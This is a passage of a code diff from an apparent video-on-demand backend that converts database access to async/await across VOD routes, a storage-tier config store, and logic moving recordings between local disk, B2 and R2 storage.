segmentId, currentSegmentPath: filePath };@@@ -223,7 +223,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('const size = tools.getFileSizeSafe(rec.filePath)+ (rec.currentSegmentPath && rec.currentSegmentPath !== rec.filePath ? tools.getFileSizeSafe(rec.currentSegmentPath) : 0);const elapsed = Math.round((Date.now() - rec.startTime) / 1000);-- objects.withObject('vod', vod.id, () => db.run('UPDATE vods SET file_size = ?, duration_seconds = ? WHERE id = ?', [size, elapsed, vod.id]));++ await objects.withObject('vod', vod.id, async () => await db.run('UPDATE vods SET file_size = ?, duration_seconds = ? WHERE id = ?', [size, elapsed, vod.id]));// Seekable sidecar for live DVR (every 2 chunks ≈ ~60s)if (rec.chunkCount >= 2 && rec.chunkCount % 2 === 0) {@@@ -240,7 +240,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('async function _finalizeHandler(req, res) {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;// Live ffmpeg recording → stop gracefully; its exit handler finalizes.@@@ -256,7 +256,7 @@ async function _finalizeHandler(req, res) {segmentPath: chunkRec && chunkRec.currentSegmentPath !== chunkRec.filePath ? chunkRec.currentSegmentPath : null,});if (!result) return res.status(409).json({ error: 'Nothing to finalize (finalization already in progress or VOD discarded)' });-- res.json({ vod: vodPublic(result, { readiness: true }) });++ res.json({ vod: await vodPublic(result, { readiness: true }) });} catch (err) {console.error('[VOD] Finalize error:', err.message);res.status(500).json({ error: 'Failed to finalize VOD' });@@@ -270,7 +270,7 @@ router.post('/:id/finalize', tenantAuth(), _finalizeHandler);// Filters follow the inherited query shapes: user_id, stream_id,// managed_stream_id, include_private (private+unlisted too), order// (newest|oldest|views|peak_viewers), since (created at or after), limit/offset.--router.get('/', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);@@@ -289,9 +289,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {// Created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC): "top this week".since: req.query.since || null,};-- const vods = db.listVods(req.appId, filters);-- const total = db.countVods(req.appId, filters);-- res.json({ vods: vods.map(v => vodPublic(v, { readiness: true })), total, limit, offset, hasMore: offset + vods.length < total });++ const vods = await db.listVods(req.appId, filters);++ const total = await db.countVods(req.appId, filters);++ res.json({ vods: (await Promise.all(vods.map(async v => await vodPublic(v, { readiness: true })))), total, limit, offset, hasMore: offset + vods.length < total });} catch (err) {console.error('[VOD] List error:', err.message);res.status(500).json({ error: 'Failed to list VODs' });@@@ -300,10 +300,10 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {// ── Latest VOD thumbnail per managed stream (batch) ──────────// GET /latest-thumbs?managed_stream_ids=1,2,3 → { "<msid>": { vod_id, thumbnail_url } }--router.get('/latest-thumbs', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/latest-thumbs', tenantAuth({ allowUser: true }), async (req, res) => {try {const ids = String(req.query.managed_stream_ids || '').split(',').filter(Boolean);-- res.json({ thumbs: db.latestVodThumbsByManagedStreams(req.appId, ids) });++ res.json({ thumbs: await db.latestVodThumbsByManagedStreams(req.appId, ids) });} catch (err) {console.error('[VOD] latest-thumbs error:', err.message);res.status(500).json({ error: 'Failed to resolve thumbnails' });@@@ -314,9 +314,9 @@ router.get('/latest-thumbs', tenantAuth({ allowUser: true }), (req, res) => {// The owning app (its key alone, not a call acting for one of its users) asks for a short-lived URL of a VOD's bytes// to hand to a reader that holds no key: OpenVibe.AI transcribing it (roadmap WS-O task 2). ttl in seconds, 30 s to// 6 h (default 1 h). Public VODs get the same kind of URL; it works for any visibility.--router.get('/:id/signed-url', tenantAuth(), (req, res) => {++router.get('/:id/signed-url', tenantAuth(), async (req, res) => {if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });-- const vod = _getVodScoped(req, res);++ const vod = await _getVodScoped(req, res);if (!vod) return;res.set('Cache-Control', 'private, no-store');res.json(require('../objects/signing').signedMediaUrl('vod', vod.id, req.query.ttl));@@@ -325,7 +325,7 @@ router.get('/:id/signed-url', tenantAuth(), (req, res) => {// ── Get VOD meta ─────────────────────────────────────────────router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const vod = _getVodScoped(req, res);++ const vod = await _getVodScoped(req, res);if (!vod) return;// Acting for one of the app's users (X-OV-User-Id): their private VODs only — anyone// else's answers exactly like a missing id. The app key alone sees the namespace.@@@ -339,7 +339,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {const duration = await tools.probeVodDuration(vod.file_path);if (duration > 0) {const fileSize = tools.getFileSizeSafe(vod.file_path);-- objects.withObject('vod', vod.id, () => db.run("UPDATE vods SET duration_seconds = ?, file_size = ?, duration_source = 'probe' WHERE id = ?", [duration, fileSize, vod.id]));++ await objects.withObject('vod', vod.id, async () => await db.run("UPDATE vods SET duration_seconds = ?, file_size = ?, duration_source = 'probe' WHERE id = ?", [duration, fileSize, vod.id]));vod.duration_seconds = duration;vod.file_size = fileSize;}@@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {// Bare object per CONTRACTS.md: { id, title, status, duration, … }// Detail responses carry the transcript too (lists stay light).-- res.json({ ...vodPublic(vod, { readiness: true }), ai_transcript: vod.ai_transcript || null });++ res.json({ ...await vodPublic(vod, { readiness: true }), ai_transcript: vod.ai_transcript || null });} catch (err) {console.error('[VOD] Get error:', err.message);res.status(500).json({ error: 'Failed to get VOD' });@@@ -355,9 +355,9 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {});// ── Update ───────────────────────────────────────────────────--router.put('/:id', tenantAuth(), (req, res) => {++router.put('/:id', tenantAuth(), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;const { title, description, visibility } = req.body || {};const updates = [];@@@ -365,14 +365,14 @@ router.put('/:id', tenantAuth(), (req, res) => {if (title !== undefined) { updates.push('title = ?'); params.push(String(title).slice(0, 300)); }if (description !== undefined) { updates.push('description = ?'); params.push(String(description)); }// Title, description and visibility, and the object, in one transaction.-- objects.withObject('vod', vod.id, () => {++ await objects.withObject('vod', vod.id, async () => {if (updates.length) {params.push(vod.id);-- db.run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params);++ await db.run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params);}-- if (visibility !== undefined) db.setVodVisibility(vod.id, visibility);++ if (visibility !== undefined) await db.setVodVisibility(vod.id, visibility);});-- res.json({ vod: vodPublic(db.getVodById(vod.id, req.appId), { readiness: true }) });++ res.json({ vod: await vodPublic(await db.getVodById(vod.id, req.appId), { readiness: true }) });} catch (err) {console.error('[VOD] Update error:', err.message);res.status(500).json({ error: 'Failed to update VOD' });@@@ -380,11 +380,11 @@ router.put('/:id', tenantAuth(), (req, res) => {});// ── Delete ───────────────────────────────────────────────────--router.delete('/:id', tenantAuth(), (req, res) => {++router.delete('/:id', tenantAuth(), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;-- if (objects.isHeldRow(vod)) return res.status(409).json({ error: 'VOD is under a retention hold', code: 'media.object.held' });++ if (await objects.isHeldRow(vod)) return res.status(409).json({ error: 'VOD is under a retention hold', code: 'media.object.held' });if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);activeChunkUploads.delete(vod.id);@@@ -398,7 +398,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }}-- db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger, same statement++ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger, same statementres.json({ message: 'VOD deleted' });} catch (err) {console.error('[VOD] Delete error:', err.message);@@@ -44,47 +44,60 @@ function validate(v) {return errors.length ? errors : true;}--function legacyRows() {-- const rows = db.all("SELECT key, value FROM media_settings WHERE key LIKE 'storage_tier.%'") || [];++async function legacyRows() {++ const rows = await db.all("SELECT key, value FROM media_settings WHERE key ILIKE 'storage_tier.%'") || [];if (!rows.length) return {}; // nothing overridden: revision 1 sets nothing (the defaults apply)return config.fromRows(rows.map((r) => ({ key: r.key, value: r.value, type: 'json' })), { prefix: 'storage_tier.' });}/** media_settings mirrors the active revision exactly: its explicit keys as rows, every other storage_tier.* row gone. */--function writeThrough(values, defaults) {++async function writeThrough(values, defaults) {const h = db.getDb();const up = h.prepare('INSERT INTO media_settings (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value');const del = h.prepare('DELETE FROM media_settings WHERE key = ?');-- h.transaction(() => {++ await h.tx(async () => {for (const k of Object.keys(defaults)) {-- if (values[k] !== undefined) up.run(`storage_tier.${k}`, JSON.stringify(values[k]));-- else del.run(`storage_tier.${k}`);++ if (values[k] !== undefined) await up.run(`storage_tier.${k}`, JSON.stringify(values[k]));++ else await del.run(`storage_tier.${k}`);}-- })();++ });}--/** The store (created on first use, once the database is open). */--function get(defaults) {++let explicit = new Set(); // keys the active revision sets explicitly (read on activation: snapshots are async)++++/** Create the store once the database is open (boot: server/index.js; tests). */++async function init(defaults, { log = null } = {}) {if (store) return store;const known = Object.keys(defaults);-- store = config.createConfigStore({++ // Stored revisions only carry known keys: a key a later release dropped is ignored, not refused.++ // Revision 1 holds exactly what was overridden, so "set explicitly" stays distinguishable from a default.++ const legacy = await legacyRows();++ const s = await config.createConfigStore({db: db.getDb(), service: 'media', namespace: 'media.storage_tier',defaults, schema: schemaFor(defaults), validate,-- // Stored revisions only carry known keys: a key a later release dropped is ignored, not refused.-- // Revision 1 holds exactly what was overridden, so "set explicitly" stays distinguishable from a default.-- legacy: () => { const l = legacyRows(); const out = {}; for (const k of known) if (l[k] !== undefined) out[k] = l[k]; return out; },++ legacy: () => { const out = {}; for (const k of known) if (legacy[k] !== undefined) out[k] = legacy[k]; return out; },onActivate: async (values, _previous, { revision }) => {-- writeThrough(explicitValues(revision, values), defaults);++ const ex = await explicitValues(revision, values);++ if (store) explicit = new Set(Object.keys(ex));++ await writeThrough(ex, defaults);if (onApplied) onApplied(values);},-- log: { info: (m) => console.log(`[Tiers] ${m}`), warn: (m) => console.warn(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) },++ log: log || { info: (m) => console.log(`[Tiers] ${m}`), warn: (m) => console.warn(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) },});++ store = s;++ explicit = new Set(Object.keys(await explicitValues(s.revision(), s.get())));++ return store;++}++++/** The store init() created (get() on it reads memory). */++function get() {++ if (!store) throw new Error('media.storage_tier is not loaded yet (tier-config init() at boot)');return store;}/** The values a revision sets explicitly (written through to media_settings; defaults stay rowless). */--function explicitValues(revision, effective) {-- const snap = store && revision != null ? store.snapshot(revision) : null;++async function explicitValues(revision, effective) {++ const snap = store && revision != null ? await store.snapshot(revision) : null;const out = {};for (const k of Object.keys((snap && snap.values) || {})) out[k] = effective[k];return out;@@@ -92,9 +105,8 @@ function explicitValues(revision, effective) {/** Which keys the active revision sets explicitly (anything else is its default). */function explicitKeys() {-- if (!store || store.revision() == null) return new Set();-- const snap = store.snapshot(store.revision());-- return new Set(Object.keys((snap && snap.values) || {}));++ if (!store) return new Set();++ return new Set(explicit);}--module.exports = { get, explicitKeys, schemaFor, validate, setOnApplied: (fn) => { onApplied = fn; }, _reset: () => { store = null; } };++module.exports = { init, get, explicitKeys, schemaFor, validate, setOnApplied: (fn) => { onApplied = fn; }, _reset: () => { store = null; explicit = new Set(); } };@@@ -166,11 +166,11 @@ function _thresholdSnapshot(settings = getSettings()) {return out;}--function _tierInputs(vod) {++async function _tierInputs(vod) {if (!vod) return {};return {view_count: Number(vod.view_count) || 0, last_accessed_at: vod.last_accessed_at || null, storage_provider: providerOf(vod),-- is_recording: !!vod.is_recording, held: _held(vod), file_size: Number(vod.file_size) || 0, created_at: vod.created_at || null,++ is_recording: !!vod.is_recording, held: await _held(vod), file_size: Number(vod.file_size) || 0, created_at: vod.created_at || null,};}@@@ -186,12 +186,12 @@ function _outcomeOf(result, action, from) {* Log one R2 promotion or demotion (media_tier_decisions): what the VOD looked like, the thresholds* in force, why, and how it ended. Never throws: the move already happened (or did not).*/--function recordTierDecision({ vod, vodId, action, from, to, result, trigger = 'manual', reason = 'requested' }) {++async function recordTierDecision({ vod, vodId, action, from, to, result, trigger = 'manual', reason = 'requested' }) {try {-- db.run(`INSERT INTO media_tier_decisions (vod_id, app_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,++ await db.run(`INSERT INTO media_tier_decisions (vod_id, app_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[Number(vodId), vod ? vod.app_id : null, vod ? vod.object_id || null : null, action, from || null, to || null, _outcomeOf(result, action, from),-- String(trigger).slice(0, 40), String(reason).slice(0, 500), JSON.stringify(_tierInputs(vod)), JSON.stringify(_thresholdSnapshot()),++ String(trigger).slice(0, 40), String(reason).slice(0, 500), JSON.stringify(await _tierInputs(vod)), JSON.stringify(_thresholdSnapshot()),result && !result.ok ? String(result.error || 'failed').slice(0, 500) : null]);} catch (err) {console.warn(`[VodStorage] tier decision for VOD ${vodId} not logged: ${err.message}`);@@@ -239,11 +239,11 @@ function endpointFor(name) {// placement (`write`) and re-projects the VOD's media_locations in one transaction (WS-G task 1;// afterTierMove). Lazy — the model requires this module.const objects = () => require('../objects/model');--function _held(vod) { return objects().isHeldRow(vod); }--function _moved(vodId, verified, write = null) { return objects().afterTierMove(vodId, verified, write); }++async function _held(vod) { return await objects().isHeldRow(vod); }++async function _moved(vodId, verified, write = null) { return await objects().afterTierMove(vodId, verified, write); }// After a move removed the local copy (the row already names the remote one): the object's locations// follow the disk. File I/O after the commit, so a follow-up rather than part of the write.--function _localRemoved(vodId) { objects().safeSync('vod', vodId); }++async function _localRemoved(vodId) { await objects().safeSync('vod', vodId); }function keyForVod(vod) {if (vod.storage_key) return vod.storage_key;@@@ -518,10 +518,10 @@ function cleanupSidecar(localPath) {/** Offload a local VOD to B2 (cold). */async function moveToCold(vodId) {-- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };-- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };++ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };const key = keyForVod(vod);@@@ -531,12 +531,12 @@ async function moveToCold(vodId) {if (!fs.existsSync(local)) {// Not local — maybe already offloadedif (await headObject('b2', key)) {-- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));++ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));return { ok: true, already: true };}// Neither here nor in B2: nothing to offload, ever. Quarantine the row so the// sweep stops re-selecting it (see runSweep) and listings stop showing it.-- quarantineMissing(vodId, 'local file missing and no B2 object');++ await quarantineMissing(vodId, 'local file missing and no B2 object');return { ok: false, error: 'Source file missing' };}@@@ -546,12 +546,12 @@ async function moveToCold(vodId) {await uploadFile('b2', key, local);}-- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));++ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));try { fs.unlinkSync(local); } catch (err) {console.error(`[VodStorage] Uploaded but failed to remove local file for VOD ${vodId}:`, err.message);}cleanupSidecar(local);-- _localRemoved(vodId);++ await _localRemoved(vodId);console.log(`[VodStorage] VOD ${vodId} offloaded to B2: ${key} (${(localSize / 1048576).toFixed(1)} MB)`);return { ok: true, bytes: localSize };@@@ -576,25 +576,25 @@ function cleanupStaleDownloads() {/** Restore an offloaded VOD to local disk. Restoring one served from R2 drops its R2 copy: logged as a demotion. */async function moveToHot(vodId, ctx = {}) {-- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);const result = await _moveToHot(vodId);if (before && providerOf(before) === 'r2') {-- recordTierDecision({ vod: before, vodId, action: 'demote', from: 'r2', to: 'local', result, trigger: ctx.trigger || 'manual', reason: ctx.reason || 'restored to local disk' });++ await recordTierDecision({ vod: before, vodId, action: 'demote', from: 'r2', to: 'local', result, trigger: ctx.trigger || 'manual', reason: ctx.reason || 'restored to local disk' });}return result;}async function _moveToHot(vodId) {-- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };// A hold freezes placement: restoring would flip the row to local and drop an R2 copy.-- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };++ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };const key = keyForVod(vod);const local = localPathForVod(vod);if (fs.existsSync(local)) {-- _moved(vodId, [], () => db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));++ await _moved(vodId, [], async () => await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));return { ok: true, already: true };}@@@ -643,7 +643,7 @@ async function _moveToHot(vodId) {// Restoring to local keeps the B2 canonical copy; drop any R2 copy.if (providerOf(vod) === 'r2' && providerConfigured('r2')) await deleteObject('r2', key);-- _moved(vodId, [], () => db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));++ await _moved(vodId, [], async () => await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));console.log(`[VodStorage] VOD ${vodId} restored to local (${(head.size / 1048576).toFixed(1)} MB)`);return { ok: true, bytes: head.size };} catch (err) {@@@ -657,17 +657,17 @@ async function _moveToHot(vodId) {* ctx { trigger: sweep | admin | drill | manual, reason } says who asked and why.*/async function promoteToR2(vodId, ctx = {}) {-- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);const result = await _promoteToR2(vodId);-- recordTierDecision({ vod: before, vodId, action: 'promote', from: before ? providerOf(before) : null, to: 'r2', result, ...ctx });++ await recordTierDecision({ vod: before, vodId, action: 'promote', from: before ? providerOf(before) : null, to: 'r2', result, ...ctx });return result;}async function _promoteToR2(vodId) {-- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };-- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };++ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };if (!providerConfigured('r2') || providerHealthy.r2 === false) return { ok: false, error: 'R2 not available' };if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };@@@ -690,14 +690,14 @@ async function _promoteToR2(vodId) {else await copyBetweenProviders('b2', 'r2', key);}-- _moved(vodId, ['b2', 'r2'], () => db.run("UPDATE vods SET storage_provider = 'r2', storage_key = ? WHERE id = ?", [key, vodId]));++ await _moved(vodId, ['b2', 'r2'], async () => await db.run("UPDATE vods SET storage_provider = 'r2', storage_key = ? WHERE id = ?", [key, vodId]));// Popular VODs live in R2+B2; free the local copylet freed = 0;if (fs.existsSync(local)) {freed = fs.statSync(local).size;try { fs.unlinkSync(local); cleanupSidecar(local); } catch { freed = 0; }-- if (freed) _localRemoved(vodId);++ if (freed) await _localRemoved(vodId);}console.log(`[VodStorage] VOD ${vodId} promoted to R2: ${key}`);@@@ -710,17 +710,17 @@ async function _promoteToR2(vodId) {/** Demote an R2 VOD back to B2-only, and log the decision (ctx as for promoteToR2). */async function demoteFromR2(vodId, ctx = {}) {-- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);const result = await _demoteFromR2(vodId);-- recordTierDecision({ vod: before, vodId, action: 'demote', from: before ? providerOf(before) : null, to: 'b2', result, ...ctx });++ await recordTierDecision({ vod: before, vodId, action: 'demote', from: before ? providerOf(before) : null, to: 'b2', result, ...ctx });return result;}async function _demoteFromR2(vodId) {-- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);++ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);if (!vod) return { ok: false, error: 'VOD not found' };if (providerOf(vod) !== 'r2') return { ok: true, already: true };-- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };++ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };const key = keyForVod(vod);try {@@@ -731,7 +731,7 @@ async function _demoteFromR2(vodId) {if (!copied) return { ok: false, error: 'No B2 canonical and copy-back failed' };}await deleteObject('r2', key);-- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2' WHERE id = ?", [vodId]));++ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2' WHERE id = ?", [vodId]));console.log(`[VodStorage] VOD ${vodId} demoted from R2 to B2`);return { ok: true };} catch (err) {@@@ -743,7 +743,7 @@ async function _demoteFromR2(vodId) {async function deleteVodObjects(vod) {if (!vod?.file_path) return;// Last line of defence for every delete path: a held object keeps its bytes.-- if (_held(vod)) { console.warn(`[VodStorage] Not deleting media of ${vod.object_id}: under a retention hold`); return; }++ if (await _held(vod)) { console.warn(`[VodStorage] Not deleting media of ${vod.object_id}: under a retention hold`); return; }const local = localPathForVod(vod);if (fs.existsSync(local)) {try { fs.unlinkSync(local); } catch { /* ignore */ }@@@ -810,9 +810,9 @@ const OFFLOADABLE_WHERE = `AND file_path IS NOT NULLAND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`;--function quarantineMissing(vodId, reason) {++async function quarantineMissing(vodId, reason) {try {-- objects().withObject('vod', vodId, () => db.run(`UPDATE vods++ await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vodsSET health_status = 'missing_file',health_issues_json = ?,last_health_scan_at = datetime('now'),@@@ -829,18 +829,18 @@ function quarantineMissing(vodId, reason) {* an hour old — by then the recorder would have opened the file if it ever was going* to. Returns how many rows were newly quarantined.*/--function reconcileGhosts() {++async function reconcileGhosts() {try {// The rows and their objects (-> failed) in one transaction.-- const ids = objects().withObject('vod', (found) => found, () => {-- const found = db.all(`SELECT id FROM vods++ const ids = await objects().withObject('vod', (found) => found, async () => {++ const found = (await db.all(`SELECT id FROM vodsWHERE COALESCE(storage_provider, 'local') = 'local'AND COALESCE(is_recording, 0) = 0AND file_path IS NULLAND created_at <= datetime('now', '-1 hour')-- AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`).map(r => r.id);++ AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`)).map(r => r.id);if (found.length) {-- db.run(`UPDATE vods++ await db.run(`UPDATE vodsSET health_status = 'missing_file',health_issues_json = ?,last_health_scan_at = datetime('now'),@@@ -926,12 +926,12 @@ async function emitStorageEvent(event, kind, data, settings = getSettings()) {let eventId = null;try {const events = require('../events');-- const env = db.getDb().transaction(() => events.record(event, null, payload))();++ const env = await db.getDb().tx(async () => await events.record(event, null, payload));eventId = env ? env.event_id : null;events.kick();} catch (err) { console.warn(`[VodStorage] ${event} not queued for Events:`, err.message); }let apps = [];-- try { apps = db.listApps().filter(a => a.webhook_url); } catch { apps = []; }++ try { apps = (await db.listApps()).filter(a => a.webhook_url); } catch { apps = []; }let webhooks;try { webhooks = require('../webhooks'); } catch { return false; }await Promise.all(apps.map(app => webhooks.sendWebhook(app.app_id, event, payload, { eventId }).catch(() => false)));@@@ -955,7 +955,7 @@ async function runSweep() {const disk = diskUsage(config.vod.path);const underPressure = needsDrain(disk, settings);const critical = isCritical(disk, settings);-- const ghosts = reconcileGhosts();++ const ghosts = await reconcileGhosts();// 1) Cold offload to B2let candidates;@@@ -963,7 +963,7 @@ async function runSweep() {const minAge = critical ? `-${settings.criticalMinAgeHours} hours` : '-1 day';console.log(`[VodStorage] Disk at ${disk.usePct}%, ${(disk.available / GB).toFixed(1)} GB free (${critical ? 'CRITICAL' : 'pressure'}) — draining to ≤${settings.localLowWaterPct}% / ≥${settings.targetFreeGb} GB free`+ (ghosts ? `; quarantined ${ghosts} file-less VOD row(s)` : ''));-- candidates = db.all(`++ candidates = await db.all(`SELECT id, file_path, file_size FROM vodsWHERE ${OFFLOADABLE_WHERE}AND created_at <= datetime('now', ?)@@@ -972,7 +972,7 @@ async function runSweep() {`, [minAge]);} else {if (ghosts) console.log(`[VodStorage] Quarantined ${ghosts} file-less VOD row(s)`);-- candidates = db.all(`++ candidates = await db.all(`SELECT id, file_path, file_size FROM vodsWHERE ${OFFLOADABLE_WHERE}AND created_at <= datetime('now', ?)@@@ -993,9 +993,9 @@ async function runSweep() {if (!fs.existsSync(localPathForVod(vod))) {const key = keyForVod(vod);if (await headObject('b2', key).catch(() => null)) {-- _moved(vod.id, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));++ await _moved(vod.id, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));} else {-- quarantineMissing(vod.id, `file not found at ${localPathForVod(vod)}`);++ await quarantineMissing(vod.id, `file not found at ${localPathForVod(vod)}`);quarantined++;}continue;@@@ -1068,7 +1068,7 @@ async function runSweep() {// 2) R2 promotion for popular VODsif (settings.r2Enabled && providerConfigured('r2') && providerHealthy.r2 !== false) {-- const popular = db.all(`++ const popular = await db.all(`SELECT id, view_count, last_accessed_at FROM vodsWHERE COALESCE(storage_provider, 'local') IN ('local', 'b2')AND COALESCE(is_recording, 0) = 0@@@ -1086,7 +1086,7 @@ async function runSweep() {}// 3) R2 demotion for stale VODs-- const stale = db.all(`++ const stale = await db.all(`SELECT id, last_accessed_at FROM vodsWHERE storage_provider = 'r2'AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))@@@ -1179,7 +1179,7 @@ async function checkProviders() {*/async function migrateLegacy() {if (!providerConfigured('b2')) return;-- const legacy = db.all(`++ const legacy = await db.all(`SELECT id, file_path FROM vodsWHERE storage_tier = 'cold' AND COALESCE(storage_provider, 'local') = 'local'`);@@@ -1190,7 +1190,7 @@ async function migrateLegacy() {try {const head = await headObject('b2', key);if (head) {-- _moved(vod.id, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));++ await _moved(vod.id, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));flipped++;} else if (fs.existsSync(localPathForVod(vod))) {restoredLocal++; // still local, sweep will re-offload@@@ -1388,27 +1388,27 @@ function sweepInfo() {};}--function getStatus() {++async function getStatus() {const settings = getSettings();const localDisk = diskUsage(config.vod.path);const localStats = dirStats(config.vod.path);-- const counts = db.get(`++ const counts = await db.get(`SELECT-- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as localCount,++ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as "localCount",SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2Count,-- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END) as localBytes,-- SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END) as b2Bytes,-- SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END) as r2Bytes++ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END)::bigint as "localBytes",++ SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END)::bigint as b2Bytes,++ SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END)::bigint as r2BytesFROM vods`) || {};let clipCounts = {};try {-- clipCounts = db.get(`++ clipCounts = await db.get(`SELECT-- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as localCount,++ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as "localCount",SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2CountFROM clips@@@ -1509,7 +1509,7 @@ if (require.main === module) {const cmd = process.argv[2];if (cmd === 'check') {await checkProviders();-- console.log(JSON.stringify(getStatus().tiers, null, 2));++ console.log(JSON.stringify((await getStatus()).tiers, null, 2));process.exit(0);}if (cmd === 'migrate-legacy') {@@@ -1525,7 